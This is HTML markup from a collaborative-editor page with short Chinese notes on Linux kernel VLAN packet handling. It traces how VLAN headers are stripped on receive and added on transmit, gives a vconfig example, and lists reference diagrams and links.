&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid491&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid699&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;所有帶VLAN tag header的封包會經過vlan_dev.c::vlan_skb_recv()處理，去掉VLAN header，再處理接下來的header ex: ARP or IP。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid500&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid542&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;傳送時vlan_dev_hard_start_xmit()會invoke __vlan_put_tag()去加入VLAN header。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid545&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid681&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;整個流程是wifi_Dev_RX-&amp;gt;vlan_skb_recv()-&amp;gt;bridge-&amp;gt;中間處理比方說ARP-&amp;gt;送出ARP reply-&amp;gt;dev_hard_start_xmit()-&amp;gt;加入VLAN header後由實體網卡送出。&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid700&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid703&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid710&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;參考資料:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid335&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid24&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; src=&quot;http://www.ibm.com/developerworks/cn/linux/1310_xiawc_networkdevice/image005.jpg&quot; faketext=&quot;*&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid25&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.ibm.com/developerworks/cn/linux/1310_xiawc_networkdevice/image005.jpg&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.ibm.com/developerworks/cn/linux/1310_xiawc_networkdevice/image005.jpg&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid26&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid27&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;vconfig add ath0 555&amp;nbsp; will invoke ospriv_vlan_add_vid( ).&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid28&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; src=&quot;http://www.linuxfoundation.org/images/1/1c/Network_data_flow_through_kernel.png&quot; faketext=&quot;*&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid29&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://www.linuxfoundation.org/images/1/1c/Network_data_flow_through_kernel.png&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://www.linuxfoundation.org/images/1/1c/Network_data_flow_through_kernel.png&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid30&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;參考資料:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid31&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; faketext=&quot;*&quot; src=&quot;https://kaka620kimo.files.wordpress.com/2013/04/clip_image001_thumb1.jpg&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid32&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;https://kaka620kimo.files.wordpress.com/2013/04/clip_image001_thumb1.jpg&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;https://kaka620kimo.files.wordpress.com/2013/04/clip_image001_thumb1.jpg&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid33&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; box-shadow: rgb(204, 204, 204) 0px 0px 2px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;&lt;img class=&quot;inline-img&quot; src=&quot;http://upload.wikimedia.org/wikipedia/commons/5/5b/Linux_kernel_map.png&quot; faketext=&quot;*&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); cursor: -webkit-zoom-in; margin: 0px; max-height: 773px; max-width: 100%; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;remove-media&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); background-attachment: initial; background-clip: initial; background-image: url(https://dakdwippfbduw.cloudfront.net/static/img/x.png); background-origin: initial; background-position: -17px 0px; background-repeat: no-repeat; background-size: initial; cursor: pointer; display: inline-block !important; height: 18px; margin: 0px; padding: 0px; position: absolute; right: -25px; top: 0px; vertical-align: top; width: 18px;&quot;&gt;
&lt;/div&gt;
&lt;span class=&quot;author-p-263538 attrimg img&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; box-shadow: rgb(204, 204, 204) 0px 0px 2px; cursor: auto; display: block; margin: 0px; max-width: 100%; padding: 0px; position: relative; text-align: center;&quot;&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid34&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://wireless.kernel.org/en/developers/Documentation&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://wireless.kernel.org/en/developers/Documentation&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid35&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://linuxgazette.net/156/jangir.html&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://linuxgazette.net/156/jangir.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid36&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://upload.wikimedia.org/wikipedia/commons/5/5b/Linux_kernel_map.png&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://upload.wikimedia.org/wikipedia/commons/5/5b/Linux_kernel_map.png&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid37&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 url&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&lt;a href=&quot;http://wenku.baidu.com/view/b684f44fe45c3b3567ec8bf5.html&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: color 0.2s ease-in; border-bottom-width: 0px; color: #4b8971; margin: 0px; padding: 0px; text-decoration: none; transition: color 0.2s ease-in;&quot;&gt;http://wenku.baidu.com/view/b684f44fe45c3b3567ec8bf5.html&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid38&quot; style=&quot;-webkit-tap-highlight-color: rgba(0, 0, 0, 0); -webkit-transition: opacity 100ms ease-out; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
